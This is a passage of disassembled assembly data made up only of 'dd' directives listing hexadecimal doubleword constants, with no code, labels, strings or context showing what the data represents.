0ED68E0AEh, 0BC94A038h, 7FF10010h, 0C160DE39h, 280024EFh dd 7EDBA93Ch, 73EB6968h, 0E7BC1B14h, 0CCB229F6h, 908F082Eh dd 0F8D38445h, 828584Ah, 41908DB4h, 4AFBA684h, 0CF001474h dd 68411822h, 9D10843Dh, 70227CA1h, 0DC60D200h, 2252A21Ah dd 8FF0026Ch, 9C8A6569h, 890F64C0h, 0CB5CA00Eh, 0CA7A60F1h dd 4394FBh, 1267F619h, 0BA4B041Eh, 0FE0EEF03h, 987DAC0Ch dd 0C66A1Bh, 0ABE7AF3Dh, 2AE975CFh, 0E268C200h, 0AD03DE4Fh dd 0A5EA79h, 110722Bh, 0F9C89B57h, 0C049C200h, 4D2AE5CBh dd 736B00F8h, 0DBB25174h, 9022C5Ch, 1A3104F5h, 0BC6B6105h dd 3F5568E0h, 0CCD47760h, 6EB0074Ch, 0CD27EBh, 1B03052Bh dd 496FC800h, 0B0FEB1F8h, 8AE0097h, 69F13C51h, 0FD00B6CEh dd 0DF209C2Dh, 7EB3B1h, 7F616CAAh, 36CEBB7Dh, 2C749200h dd 49025CF9h, 0DC49C4h, 0B550B400h, 0B9F31F35h, 0B3A05600h dd 0F01D333Bh, 63A700DCh, 0D7488007h, 0A2006488h, 0C2B1B892h dd 783FF71h, 70DDF98Eh, 473B43E7h, 0ABBA5EF0h, 710F6A00h dd 60F74829h, 0E2FAC6h, 0FA884955h, 0EDA265DEh, 8970C878h dd 0B7E6AA0Ch, 77828E9h, 949566C1h, 9DEF904Bh, 1E05AF1Fh dd 23A634D5h, 0A3C9C3h, 7ACED888h, 9902BAE0h, 7F93DC02h dd 0E365C09Eh, 9A5298C2h, 198D0007h, 0B6947D17h, 0A200677Ah dd 0CE4193F9h, 1F1AE349h, 0DABFDFh, 0BB349E7Dh, 84009AB0h dd 7E161456h, 284E3FD5h, 1CC714Bh, 7CE759A0h, 0F4A91BADh dd 0EF006542h, 0D0B55517h, 35EA8B0h, 0CA8B46F7h, 0D8D0C250h dd 54007F75h, 0E90A70EFh, 4E050B34h, 5CF4F0F9h, 0E8744228h dd 9B300300h, 0DEFFB653h, 0CF5A09A8h, 400A72Fh, 5E01D9EDh dd 0B53D310Ch, 0F430F9h, 0E3062F80h, 0A68E7929h, 2888C00h dd 351633DEh, 0A0A074F6h, 6650F0h, 8A07B94Fh, 4230DE69h dd 6B254000h, 48B5FCFAh, 0A8ED50C6h, 10B600AEh, 18957F3Bh dd 650F4666h, 60A023FCh, 53673CAh, 3C6A001Eh, 0F66D6B96h dd 3350CE66h, 0E1128BD5h, 0B8004E48h, 30417188h, 916000D3h dd 1F0ECEBCh, 1600FB89h, 3FE14E08h, 583A57D8h, 0A300802Ch dd 0AAFB493h, 9D00AB8Eh, 297055D0h, 0E44DE9D3h, 54A0C84h dd 0D5D01D17h, 7044482Dh, 114E268h, 8D5197F8h, 60A58513h dd 6B383EC5h, 77600A4h, 0BC701272h, 6E1121Bh, 16EB004Fh dd 2717B250h, 12FED648h, 0F8013AD2h, 4893303Eh, 27285FCh dd 4252F6F7h, 0F44878F2h, 7E12B5BDh, 54158C5Ch, 0B1BB003Ch dd 6EC7249Dh, 0FF5609A2h, 4400A5AEh, 8C4BB4DEh, 0D0643724h dd 20983119h, 7AB16FF0h, 66FC008Bh, 0F434BFEEh, 7E1F5F57h dd 119270F1h, 0CD05CC5Dh, 0E40008BDh, 0B424AC1Eh, 7CC3121Dh dd 3AD4404Bh, 0C56CA2D3h, 0C4C2871Eh, 69A1B400h, 1DEBA4E8h dd 9E6AC6h, 7F34F4B0h, 30001E1Dh, 0D492B7B5h, 0BFC2B6h dd 57DBAE8Fh, 86BDD704h, 0E90D1500h, 1C3F6372h, 0A1E626h dd 0F2EEAD7Dh, 0D0146769h, 77C6F0Bh, 0F7BA8034h, 3A7585h dd 0E8BD7350h, 526BBE40h, 3D228348h, 36FD84C5h, 3D80E230h dd 907753h, 0A74A5FA6h, 5CAAD226h, 3E073F00h, 216511CAh dd 766D00D9h, 29BEF0FAh, 0C11CB4ECh, 80BB5167h, 47F520D2h dd 27B6D1h, 3CCC4FE0h, 5255BD15h, 5C160500h, 64DDF25Fh dd 0E84A005Bh, 0A1E5519Dh, 95021ED1h, 6CAB082Ch, 8C6D603Ah dd 9E170026h, 57E87EF1h, 2C3DD7F4h, 4991815Bh, 1F6A66EBh dd 17EE95C0h, 8DEF7Dh, 9A74A0E3h, 0E21E7B58h, 0CBC1AD09h dd 0AA191F97h, 79A18C30h, 4D1D03DCh, 4214C8D7h, 0DA4731D8h dd 0A490C07Ah dd 0B47A5800h, 0AED89E40h, 1A2E42Dh, 65AB8B79h, 0CC0C3742h dd 200ED22h, 0F8854B7Eh, 6B2B09h, 776EE5BDh, 0D6B126D7h dd 10008F6h, 341FFDBh, 756F2C7h, 89E1A33Bh, 0B72EC0EDh dd 1000FA1Bh, 0F60A48FBh, 7879C7h, 737AD0EFh, 0E8C3BDFh dd 0C657B60Eh, 227C80BBh, 16166EA3h, 8AF307h, 44EED5E9h dd 57006240h, 9071EB2Dh, 0F04FF4E0h, 34CA0BFCh, 2420A1C7h dd 0AAE63EAh, 9EA49100h, 675BAFDDh, 26610B37h, 610041FBh dd 8D3044DFh, 0BE8BA00h, 7CA5B492h, 892900C3h, 67FFCE2Fh dd 707CF09Fh, 0BC41492Ch, 161C1305h, 1A0EB890h, 395901F8h dd 9BB2842Dh, 49982008h, 4ECD7900h, 439E76CEh, 858307ECh dd 0D0901669h, 6CAD1BB5h, 0FD00E7E0h, 0E1567E08h, 0A01547A3h dd 0AA1686h, 0FBBE7498h, 6830EA02h, 0C7E0626h, 673C3A00h dd 0CA6348h, 0F70C7A98h, 0E9C9440Eh, 0BEB67400h, 4BE8EF8Ch dd 456E899h, 0AA741CAh, 9204C00Bh, 0A8E86ED9h, 0B0CE7202h dd 80B43083h, 1655DBE1h, 506D0465h, 0C002FC9Eh, 8922BE14h dd 0F6F34403h, 80B4494Ch, 65AC73h, 31903ADCh, 8CE133FCh dd 5F563Ch, 0B94342B8h, 0F82D6791h, 0A190077h, 0C7E74437h dd 7D0336A0h, 0E2A91381h, 0F51AD00Eh, 6ADE002Fh, 3AA7246Eh dd 0D50702D1h, 8C26F612h, 5C13AFC0h, 0B28532ECh, 0DC8040ECh dd 0D36971E6h, 9964F600h, 0C642B73Fh, 0D023003Ch, 0AE44380Ah dd 8703BD43h, 6534CB32h, 2F2E985Ah, 1F7E00B2h, 4E2C0E36h dd 4000877Dh, 0CB376016h, 30ABDEh, 0BE9C46B1h, 9220C714h dd 0E52C4100h, 681D9567h, 985B0403h, 805FEB3Fh, 9699F834h dd 0BF31E200h, 0BAA14CD8h, 683018Eh, 0D287BBF6h, 0CD94C0D6h dd 971E200h, 5E86E4DCh, 0B7190016h, 63DB9D4Eh, 0B028D49h dd 3844E694h, 19FF004Ah, 0E2E0814Bh, 689D4100h, 0C988C14Dh dd 3FC400D6h, 0A8FCB9C7h, 2F1C6B14h, 0AF4769AEh, 9AA72207h dd 851AC0FEh, 7E79177h, 0AE61A05Bh, 9CC5A094h, 6800406Bh dd 0BD12BAD0h, 39E478Fh, 0BCACBEF3h, 86D8B9FEh, 0B20010CEh dd 0E71A93DBh, 1A661B6h, 0ED479BBDh, 0DB6D9057h, 88DD80A0h dd 181C4C00h, 25B18ACCh, 7860058h, 9F216F5Dh, 1EFC0875h dd 3D038C90h, 50CD0ED1h, 20E08FC7h, 955671h, 31FA0172h dd 0C612678h, 0BD0E9413h, 92436200h, 7B4BF3h, 6C46C219h dd 0BC96EA36h, 12D7D158h, 8C01118Dh, 4A0B6856h, 31962009h dd 401EBE90h, 1600B6DFh, 3326C2Fh, 0ACE6001Ch, 8CF1E271h dd 7CFACE73h, 521FDB76h, 0CA402985h, 8A51054h, 8B009748h dd 21AE6DA0h, 3C007AEAh, 2E160F31h, 1205BD8h, 6833CF32h dd 8172D3AAh, 24426CE8h, 0B1E96DCDh, 71E882EAh, 0CBCE4154h dd 6FEE0h, 7AF88D80h, 7C2D6962h, 6A888603h, 0D022A587h dd 775584h, 0DC05DF56h, 0BD4D8FFBh, 1FD2213Ch, 0A75D423Ch dd 357B7BFCh, 0A60B0200h, 82F09CABh, 4B4BDFh, 468CDDA8h dd 9F00D826h, 2DFE540Eh, 168942D7h, 0F9CA20h, 7738A40Eh dd 0C6007407h, 0EF9617A6h, 17D9AB6Ch, 0FF90A8h, 0DFAE58D7h dd 3E79B379h, 1700D4B8h, 863A9C4Eh, 8F9067h, 0B9BC2188h dd 46C4A60Ch, 7CD5BF12h, 82CFECC1h, 982036C5h, 4F6700A8h dd 8FD283EFh, 38003A13h, 8828AF4h, 18F275D4h, 0C171C8BAh dd 0C1F8454Eh, 2F649700h, 0B02562D6h, 96102F7h, 8EFC6D1Eh dd 2CED8FE0h, 51374009h, 1DA4804Dh, 60AEDE7Eh, 0ACE3487Dh dd 0BEF4C020h, 49907907h, 802B08C7h, 0DF3EA092h, 0ADEA0045h dd 66F4DA40h, 0DE002A0Ah, 0B324C631h, 36B8A46h, 0BAFCB74Dh dd 43E02FB1h, 7FE40773h, 0D89EBB30h, 4CB0186Bh, 0BA005872h dd 297C9CAAh, 0B505CD74h, 7776C623h, 2B9294D0h, 470F3h dd 2421F691h, 6413890Eh, 0EC013AFEh, 8D88DA6Ah, 0CEC47178h dd 0BE960275h, 6C7704FCh, 0C8458CA4h, 5B00C40Ch, 0D3688E7Eh dd 616D44F1h, 0B8369103h, 74403CEAh, 94A448FBh, 48BE500h dd 2F011E98h, 665601D7h, 0BF9376E1h, 44D6C4A2h, 1312D80Eh dd 84652460h, 5FAD4044h, 6486F800h, 0B89C0BA2h, 5E54018Bh dd 286DF682h, 8358F0AAh, 0BF8AE60Fh, 5F6BC722h, 0D99C1910h dd 0EA370052h, 95090D7Fh, 800023EDh, 7967EC08h, 7A2E4181h dd 2BE9C669h, 0FEFAB842h, 0A0A6AE28h, 75870600h, 0B8961E82h dd 6D42071Ch, 0D72E5701h, 88839456h, 8211FD3Ch, 5303026Eh dd 7EFC88B5h, 0D9A916C0h, 45CFF900h, 9344E7D1h, 58E0A9D3h dd 0B48BD4h, 5009A397h, 0FBA265C0h, 6DC87F06h, 1DF86FBFh dd 0C0C781AFh, 0E107872Dh, 0DF9830B4h, 637D1F00h, 0AAF16918h dd 0DF377082h, 5CF24080h, 0D2BC9C76h, 743C0479h, 0D44E8083h dd 1C856EA1h, 0EE35098Ch, 0FCA038A6h, 1D0340E7h, 80B32D3Ah dd 0FC41F13Ch, 23ECB8h, 539F04D4h, 56B74B80h, 3DACB64Eh dd 407CCF00h, 4FFEB1EFh, 2EC88A13h, 60EDF882h, 3506C58h dd 70025297h, 0BC8FBB3h, 79009F75h, 0EAFADD8Eh, 30E7A4BDh dd 0E20BFA8h, 69017AEFh, 0CC1B8646h, 183C1A20h, 0CBE2DF00h dd 9219C011h, 8CDED8A8h, 30620100h, 0ECC660EBh, 50E9F204h dd 56B81Bh, 4ADD099Eh, 1EF4083Ch, 91EBEA02h, 40A380B1h dd 37D07F7h, 0CD6E22CEh, 94D88D39h, 1000694Ah, 6CC09EF4h dd 8FC1A8h, 47D71B72h, 0CD46A937h, 5F06CC91h, 0BB83C3Bh dd 3A6C12DAh, 0DCF73D80h, 5800AA4Bh, 416A6A4h, 7C09AE21h dd 0D4F10447h, 0EBEF44BDh, 0E696BF80h, 0DFFC9Dh, 0E0AAC287h dd 0E35A70F1h, 7643E0C4h, 22E02489h, 0B47203h, 0D82F93E2h dd 5DFADCF4h, 0C979C3Dh, 0F815096Fh, 27B8F6h, 0FC818AB2h dd 55C8D484h, 0A650D601h, 0EFA79FEBh, 2915C0h, 0C6633F6Dh dd 4D3442Bh, 23FE9E50h, 0A8927A28h, 8304ACEEh, 0B5BBA1B1h dd 35F04487h, 0B65C9Ch, 278BB867h, 480EF942h, 0D224CE00h dd 383FFE7Bh, 0AC80014h, 39D4EC63h, 70987377h, 66852E00h dd 9ECA6B60h, 346A0558h, 960F1Eh, 0D0630689h, 7307D37Ah dd 3C979147h, 54044060h, 2C7B0099h, 643A980Ah, 740A9421h dd 947512EFh, 80C4C90Bh, 60CB4C57h, 56C00C3h, 158EE9F2h dd 940035F6h, 67801D2Ah, 75FEB97Ah, 0C4DE00D4h, 9662FF99h dd 0F700F022h, 7D80743Eh, 58862FB3h, 0BA04F430h, 0E04BE781h dd 630EC68Ch, 0A2804036h, 0E0D242DEh, 38BBEA93h, 0A50B6FCEh dd 8C477A66h, 2F9CE007h, 1B182DD0h, 8BD512EBh, 87840A63h dd 29912D0h, 0E13BB024h, 0C2F28760h, 64609E03h, 892A0BCEh dd 6AE4729Bh, 1E8A5ACBh, 28BFDE2Ch, 63350F89h, 902F8B3Eh dd 0A716C501h, 0DD4EF86Bh, 67007376h, 96665E85h, 0FA2AB43Dh dd 1EE691h, 0A414AD70h, 0B02D073Fh, 9E5BED00h, 520A888Dh dd 0C1781D1Bh, 0CB24C3A8h, 9DB86CB9h, 2D5CDA08h, 16220CA0h dd 0ED0C20FFh, 0A1CBF1D3h, 0E75EDE4h, 0BECFE2F3h, 90A05869h dd 8BA5B720h, 0B0002490h, 4DEF23D4h, 2C386817h, 80585BE7h dd 33940743h, 58019C73h, 508F71A5h, 2180058Ah, 10C457DAh dd 3A033C4Dh, 0C8047196h, 0D129D880h, 2275BAh, 45667468h dd 8E42F4E3h, 195CDF01h, 0BF752A9Dh, 7A014DD8h, 0E6C20272h dd 0CC61547Fh, 3B00D458h, 0A3BDAD56h, 0BF319CEh, 1A717B68h dd 9E256187h, 14B55080h, 0CB004438h, 9DC74B88h, 0E55D8Ch dd 0D6F06B7Eh, 3CB36A6Fh, 8EC8580Eh, 0F7A46027h, 7F9EC677h dd 0FE0D0049h, 0BD20D362h dd 0F100B560h, 31382BCAh, 71AA6BAh, 1095EBD9h, 0E8037946h dd 0B7F8FB0Fh, 0D3001EDFh, 24AE9E7Ch, 0A4CCED8h, 850831F6h dd 0F4E900A3h, 42AC8E67h, 2C40AA0Fh, 13356EECh, 764DA4C1h dd 898B1428h, 1C19D460h, 0D380A601h, 0A43898B2h, 0CAB6CCh dd 0ABD95617h, 0B994D62Ah, 800037ECh, 0ED1096DBh, 3C78B08Ch dd 0A200C497h, 0C2813E23h, 4A01804Dh, 0EB077D98h, 0FC42479Bh dd 2073E8h, 6DD433C2h, 0BA02F1D6h, 506517FEh, 447CC021h dd 641000D1h, 0D3C00109h, 1E07D826h, 0DC5E43A6h, 329CD2D0h dd 0FEBE00A1h, 8B4FFBEDh, 623A1867h, 0DBAE800Ah, 0AC4E50B7h dd 9CD60266h, 6AD8A725h, 2340B442h, 0FEB8D512h, 0D9F6381Fh dd 2948C47h, 66805FEEh, 53BDEBA2h, 6DC00031h, 5EDD39FAh dd 0B400D052h, 0A4D31B36h, 0DE7AEB10h, 78F2C0D8h, 62F707B8h dd 0DA35710Eh, 0CA3C2021h, 6BB51Dh, 22D442E3h, 0A54E5526h dd 9DD66F00h, 5BBB5AEEh, 0F2250191h, 6BBE8193h, 12F8F73Dh dd 633E9E7Eh, 0B3B400A8h, 0B7F26A97h, 0B0FCE0h, 4990C66Fh dd 59B5FFF6h, 0E844F329h, 36EF02E1h, 285352E4h, 7E802B0Ah dd 426D1D9Bh, 0BDF041F5h, 7132B1E9h, 0CCB03090h, 21D8E854h dd 0E50A4947h, 0D0DF27h, 0BFA395B5h, 0C6001A51h, 0C2F0528Ah dd 3FCE0C9Ah, 0A48048E0h, 3D4D5DBCh, 5F2EFBD6h, 440064A1h dd 9E6A42D7h, 7E3438F9h, 0E80ECB8h, 9243C739h, 87E59C3h dd 0B79F1102h, 7AB92CFEh, 80165EE0h, 86F24C1Ah, 0A2677D01h dd 89BB5593h, 2B242D0h, 0CA999534h, 0D480F1EEh, 0DF1EE6E1h dd 44140h, 3B852A01h, 46FB1C2Ch, 0DD12A403h, 0CBE11470h dd 0F2D3887Fh, 177D99h, 9A46896Fh, 0AAE62A6h, 9F52D400h dd 8F82AF06h, 914B08CCh, 5F042EC7h, 9430E4A4h, 549AD5F1h dd 0FEF3D600h, 5923810Ah, 48BB009Ch, 1C8D6FCFh, 2500DCCBh dd 79722FB4h, 0B1653E81h, 719FF4h, 0F9A04035h, 955D6838h dd 9AFA0E68h, 26892Dh, 0C359AFCCh, 4FA89AADh, 8684056Ah dd 0A1D8F0F4h, 49CA400h, 1F11DF69h, 6833008Eh, 0FB5D8706h dd 8A3DEA3Ch, 20BC034Dh, 80D0EF7Ch, 7581F3Dh, 46762DDCh dd 0C807203Bh, 0C10F1EC7h, 0A00AD770h, 626A27E8h, 0A07F1DFFh dd 0FA8CC0E7h, 0EF297D66h, 65415600h, 85B071BEh, 0D9A6006Fh dd 4EAC81F8h, 8A0EA378h, 214F3D2Fh, 45EC2B63h, 67E1ECh dd 0B006F1A8h, 1DFA017Bh, 80135Dh, 0C621A0DBh, 1D1990FFh dd 925ED133h, 40BC1CEBh, 44D0D26h, 0C4BEE4D5h, 0D8076426h dd 2DE06D48h, 0F54CC6h, 0BA1B2E6Eh, 675F4456h, 0E60B39C0h dd 470C0F1h, 0D5E81FFEh, 3B98AC39h, 7222B0h, 0C188C8A8h dd 87812805h, 0A61A8B04h, 80456854h, 0FC1C0362h, 0FEC91759h dd 0D069D141h, 0C850E81Eh, 0D3E3A610h, 59F23950h, 748BAF3Bh dd 0B153AC00h, 7C5B7450h, 0C27FFEh, 0F29B18B9h, 0E08A6D76h dd 19A07800h, 7746DF6Bh, 590B1980h, 98B45197h, 26692240h dd 490733Bh, 0B71779B8h, 8498A4F9h, 0B2282A07h, 0E2C5EF8Bh dd 0CEC20C03h, 3987806h, 6F7711B9h, 0C0A476DFh, 0C2C307CCh dd 0E6B710A0h, 1DC01CA0h, 0D7AB8CA0h, 1929C101h, 0C7C115Ah dd 0ADEAD0C7h, 0C4C300CEh, 0E2051E1Dh, 1907F61Bh, 0F36BAA45h dd 3880BD0Eh, 3480AB7Fh, 224400E9h, 5DCAEC3Bh, 943A1A8Dh dd 0CE208E46h, 8B5FC025h, 0F00A59h, 8096553Ch, 73F4833Dh dd 0FD56B50Eh, 6364C05Ch, 0F11C8Ch, 1FA645DEh, 2EE6D7Bh dd 26947A39h, 0CC005E52h, 9BECA554h, 0E1400044h, 0AC684D97h dd 890015F0h, 63988E9Dh, 3418A6h, 16F88A0Dh, 0DC70CA93h dd 0DB7C3F12h, 3A8820B4h, 68098EBAh, 0B8720539h, 130FBB11h dd 0AB21DF04h, 0B14640DDh, 0CE5A0Dh, 12B773EBh, 3A21A828h dd 380040E4h, 0D815C162h, 3C2CE1h, 99243507h, 699D1771h dd 0D9886401h, 11288E3Bh, 0C8C0EC47h, 521054B1h, 0A2CF1426h dd 8121CEE1h, 29C4E81Ch, 0E4F28087h, 90ACCE2Bh, 26574500h dd 0ED279459h, 0D7A300FFh, 0FE489E15h, 17FB438h, 0D8C6AE46h dd 20147011h, 0E37444C1h, 0C0900005h, 6824A5E8h, 8A007759h dd 0B482D81Bh, 116B50C2h, 0A7ECF946h, 3C53D600h, 4693A30Ah dd 0FE012070h, 0DE4BE478h, 58444EA1h, 0F16905ECh, 0E0407F05h dd 0CD801BE4h, 4CF024D7h, 8F1100E2h, 150545Fh, 68011D4Ah dd 5149109Ch, 1FF90CDCh, 0C0174D15h, 948A50Fh, 0B50084E5h dd 0ABA6E261h, 121EAFC0h, 0F485269Ch, 0B7068640h, 6088F783h dd 882EC10h, 7107AE0Eh, 0C0BDF160h, 88773FD6h, 4127607Ch dd 71F3236Dh, 6E1CB879h, 5500D2BDh, 0F92EA229h, 8FD600F7h dd 0CB70E4C3h, 0B40016CFh, 3C804733h, 0E8A403h, 0D4DDEF2Fh dd 34C3BC3Dh, 896E3000h, 0D7836487h, 0F4050065h, 0A6E79A7Dh dd 0E100B1A5h, 492658BFh, 29FC36h, 4342BB57h, 7FFDF9DFh dd 0A1993761h, 0A4515AA2h, 7C2410AAh, 711700B7h, 676057E1h dd 3F2A2E6Ch, 42008459h, 0DF8E588Ah, 7C3E5Dh, 664F8802h dd 1815C84Ch, 0F9D07402h, 8016AC2Ah, 81E7CED4h, 350E2ED1h dd 4BDB00C3h, 0F01786F7h, 0F6968200h, 0D660736Ch, 0F8D97EE8h dd 0AB870370h, 0FC59F7A5h, 0F55C19D8h, 8807E718h, 20D6E918h dd 6801C3D4h, 2BB51F85h, 0B1C8AFFCh, 3478FDh, 0AA0ABCDh dd 555A5048h, 59782F1Dh, 20FCF20Ch, 0A35338ECh, 0E831CF81h dd 9BC270D6h, 1020A850h, 0C1F14651h, 48E3A086h, 2D0C59C5h dd 0AE3788h, 23BF9DA0h, 6A8B7AE7h, 4FF9BA00h, 0D0865DEBh dd 1667DCDh, 5C6CDBF3h, 0BF433B7Ah, 3DE9019h, 0ADDD7F03h dd 89005017h, 48F92495h, 18D8ECE6h, 8F1DE1Ah, 98C0AFCCh dd 0FEF95CF5h, 0BEDD00C5h, 1D91416h, 36304A43h, 0FC26D0EEh dd 60477731h, 3C7D1090h, 0C9036D14h, 2752F76h, 0C1DBB0CEh dd 789400F3h, 0B3DDF4FEh, 0A158F86Dh, 0ABF9008Eh, 4512C040h dd 617E73h, 0BDBEB956h, 0A9A0B286h, 2F07DAB8h, 0F18B43EEh dd 96D52B90h, 65EF1CAEh, 0BBD880FDh, 0A7F0154Eh, 32812400h dd 1DA86D9h, 944900D0h, 3AB908DCh, 0C00A75A6h, 472641Bh dd 7AC3407Dh, 3F81AABh, 657CDA7Dh, 80930838h, 616620E7h dd 2EAFA671h, 0B0547Ah, 26BB0EDDh, 0B1B90D3h, 0A4299507h dd 0BBA94740h, 0F0005D61h, 4F9AD7DAh, 0E54992h, 98427946h dd 0C0D490AAh, 0A6A14524h, 28D57201h, 64D818DFh, 0DDC300E2h dd 2934BB78h, 5B005A7Fh, 0C83FF9DAh, 0E0AC48h, 7DD4AF3h dd 0BF0CC9ADh, 0A400C1ECh, 0CF025A63h, 0EDB269Dh, 3E72B441h dd 0F31E29A0h, 810091EEh, 5B941D0Bh, 8530DDh, 58E11490h dd 5D72B50h, 0A6FBCB1Ch, 4EE95F00h, 0FA39A908h, 9CD80E09h dd 84807FADh, 0FEBFAC19h, 0F000BA7Bh, 4E9E5EAEh, 0B886C5D5h dd 4A0E0133h, 506A1A9Bh, 0AB20F427h, 67DA58h, 9DD4B9F0h dd 2D1856h, 3CD24F12h, 0A2092522h, 0E17A8600h, 0C7406F75h dd 13850918h, 2A8035CDh, 85EF060h, 8900F2FAh, 0EA3C11Fh dd 7BE176Dh, 0AC55138h, 0F5321058h, 0C90186D2h, 0AEAAC762h dd 56E0C1A1h, 178500BDh, 0B4642F42h, 1D716C10h, 6F01F2E0h dd 0E5A512BCh, 5BE01F13h, 0F2EDF003h, 208800F4h, 78D54358h dd 0D800081Dh, 310E1C1Bh, 4EECBF1h, 7F8BBB24h, 3024870Dh dd 9F6B77A5h, 0D9AB1505h, 0CDC04960h, 94A12Ch, 0AEC91C6Ah dd 0F199CCD3h, 74B1F500h, 0FCD8C7CEh, 0B5D030D5h, 0D1D3B810h dd 0CCD26A03h, 7690C4h dd 9AB4AE78h, 0FC5314E6h, 91C76907h, 993C83D6h, 37470009h dd 0A74EF67h, 6A00ECC9h, 5EEE7D9Ah, 3FD79513h, 320035F2h dd 27475DC6h, 0DE497B73h, 9C007284h, 24B21296h, 0B6D78h dd 65624C81h, 0CB895851h, 0AAD65200h, 0F8EE242Eh, 0CE7830C5h dd 5CA9B330h, 9DDACF03h, 0E4CB93Eh, 5FF91E18h, 89078200h dd 0E00C510h, 78DE97D1h, 0FC2E35Ch, 6853D012h, 0B5134E00h dd 0A5016CA4h, 2CB7D8CAh, 488A96BBh, 0A0AEE8h, 0F47C1D83h dd 913EC00Ch, 0C7FB00FAh, 79FCEA1Eh, 1C5800B8h, 67AA3270h dd 2500B17Ch, 2ED956BFh, 279D9Fh, 3D249345h, 4194167Eh dd 0E9AE0700h, 0E48F2836h, 260FEE2Eh, 164A49Eh, 0C8FACC35h dd 0A8D3073h, 1A004670h, 0D35E3AB2h, 0A1997E1h, 63FB8BC7h dd 0DF6701F0h, 401AD789h, 7261FFC4h, 0A8B5F07h, 19203A82h dd 91E9BD0h, 30460520h, 0CEDD5003h, 79DEAA80h, 64416D12h dd 0E8722830h, 1C31007Ch, 9CD7A2CDh, 0F013AC63h, 5840A408h dd 6B423380h, 49D100B3h, 6A03BD31h, 2090B758h, 0E04A3030h dd 3DE74DBBh, 15808D90h, 0BC9A9509h, 266E082Dh, 379902B8h dd 4AC89876h, 6EFA00C9h, 5E450A84h, 503E0B5Bh, 0ECFF016Ah dd 0FE4E75ABh, 7B1824h, 76719678h, 0CAFA1ACCh, 79B880A8h dd 128E6B3Fh, 846048C4h, 491C3A95h, 6D0258F2h, 7BF5E676h dd 89380845h, 0A947091h, 0A300CC00h, 0F0DF11A1h, 0CF54954h dd 8057B50Fh, 343E4180h, 0F475DDE4h, 0A6F45CF8h, 48DCB400h dd 75CBA7B6h, 891C010Bh, 85143AA5h, 54742250h, 0B172A03Ch dd 0CCCD8928h, 0AF65EA03h, 88B87611h, 5F4FA5h, 835E1526h dd 4BF5D432h, 0C41C2D2Ah, 0A0306F20h, 0F696CF8h, 0D78E18E1h dd 48C0E420h, 31249960h, 8780EC35h, 7A941BDh, 0C980606Bh dd 0ED95B393h, 0DC2E1C78h, 71FCBD4h, 7CF664Bh, 13707248h dd 0C1996C36h, 0E099F30h, 0CA3C5048h, 0FE6079A7h, 0DA215851h dd 3176601Eh, 5AC4B78Bh, 4F1D98FEh, 90661DCFh, 7AEFBC40h dd 79F51392h, 8D1800F6h, 6E199968h, 89675632h, 0EB9323B8h dd 6355D8C0h, 0EFEC8100h, 0CDF44F6Ah, 47E30378h, 88E26EA2h dd 98B65E90h, 62328600h, 3D2A1DB7h, 8CA0028h, 0E1014135h dd 334CA9FEh, 0AA1280C4h, 6E389Ch, 0F1670299h, 3B9EB3F0h dd 0F34B0315h, 2E0717C0h, 0E7EF750Fh, 99CC5BC0h, 0D5E800C1h dd 4C2958DCh, 0A2A061BCh, 0B100BD0Eh, 5FEF9BE0h, 0E26C1A2Ch dd 0A1B600A4h, 0D1C41042h, 62540DD6h, 8E098894h, 1CE34ADFh dd 0D2C0040h, 0D3083733h, 1E004173h, 0E34E80D4h, 0BBF44Ah dd 0DF308BB3h, 0AFE9EA5Eh, 5818A905h, 8CD112C1h, 0C62C4DBh dd 0F9D1CA00h, 5A1A3231h, 0C994AF3Eh, 2CEB0090h, 92B40DABh dd 8097603Ch, 0FC46B80Eh, 62666A0Eh, 5087E064h, 5816E34Dh dd 2414B990h, 0A500BC73h, 70DBAA58h, 0B5006074h, 5622B7A6h dd 28858E2Eh, 1EEE7D86h, 4051081Ch, 43AD62BCh, 6A00E2BAh dd 6BD8794Eh, 1C8B1A1Bh, 800112F6h, 3178A00Ch, 0AD07D02Fh dd 0BD7DEDABh, 0A18C43h, 5A762542h, 670D6018h, 79122A00h dd 0EF765D3h, 99EAFEh, 8E87438Bh, 32E6DEC1h, 1930F600h dd 93FE37BCh, 7FC505FAh, 802B1B76h, 87D496AFh, 0A08248h dd 2255B1E8h, 1B0D85h, 4767E1A8h, 45B26572h, 5EDD9B1Fh dd 8CF800FCh, 4919D541h, 3BE62C9Eh, 5BF19E68h, 0E7F178FAh dd 3CC020B2h, 0B5007C7Fh, 1A012363h, 1F7F42DCh, 479190EAh dd 10B1562Fh, 526F123Ch, 39FECE0Eh, 87C1C9B9h, 6A010F28h dd 2A0804h, 0A49BF177h, 0C4E63384h, 7A579F00h, 6CB4AF22h dd 0A6C51C62h, 45411366h, 909C4C98h, 9157F81Ch, 0D098AE04h dd 0BC80E2E4h, 0F0FF29DEh, 0D8E80958h, 3AF6D99Fh, 0D7310900h dd 29C20h, 17D2D5BDh, 0E718DFCAh, 0A7486672h, 67360030h dd 0FA90CEE4h, 1CE24833h, 89D38600h, 5E92BD1Ch, 15A37B03h dd 0B03F8BE6h, 1732D65h, 6D574BAEh, 24BF6960h, 5B0EE354h dd 8A216140h, 14809030h, 0C288DBB9h, 8A8F0B63h, 58381B32h dd 889A1E8Bh, 2D103100h, 0FFD10699h, 59AB0460h, 882E1963h dd 0A000C8F4h, 2DC94742h, 592A4D89h, 2800082Bh, 6FF3A27Fh dd 9209E8DCh, 90D97622h, 0D1DE58h, 75B152FCh, 7BA266F4h dd 6ECDF2CFh, 0D153BE04h, 25DB5430h, 0A1D21311h, 868C40AEh dd 0C8FDFCB7h, 5CF1B8A0h, 8FF53A00h, 2E393710h, 5782094Fh dd 90981555h, 2000FEA8h, 0FB2BB048h, 0F2832605h, 0C2EC0FEBh dd 8880ACBBh, 12B51C5Ch, 9888F890h, 0F0B2D320h, 0E2C4A300h dd 0DE69E502h, 0DAE926A7h, 24B38004h, 7DFB08AAh, 2ECFF33Ch dd 4C268425h, 0A3508F00h, 0F2C0E8h, 0E9D07173h, 2F0645F1h dd 0F17ECC24h, 0A2BC506h, 0B0A061F1h, 30BAFACFh, 4F09D8F7h dd 947BC679h, 0BAD8B564h, 59002C92h, 0C3E3F46Ah, 92C93EAEh dd 0C6D13E44h, 0EAA1C20Ch, 2B00DC10h, 1560D2C5h, 0B0EDFh dd 423C644Ch, 2036CBB9h, 85EB011Bh, 0ABA3D812h, 7A500A6h dd 5C50A46Ah, 5800F305h, 787AD3DBh, 7B559D65h, 3016076Ch dd 90C9BCF6h, 0B807F411h, 1349F9FAh, 70932C24h, 21E0A42Eh dd 551EC2h, 3D5D54E6h, 810E8F4Eh, 6012F338h, 0CA617F3Ah dd 4F9501C1h, 0D0450D6Ah, 0A8E5D489h, 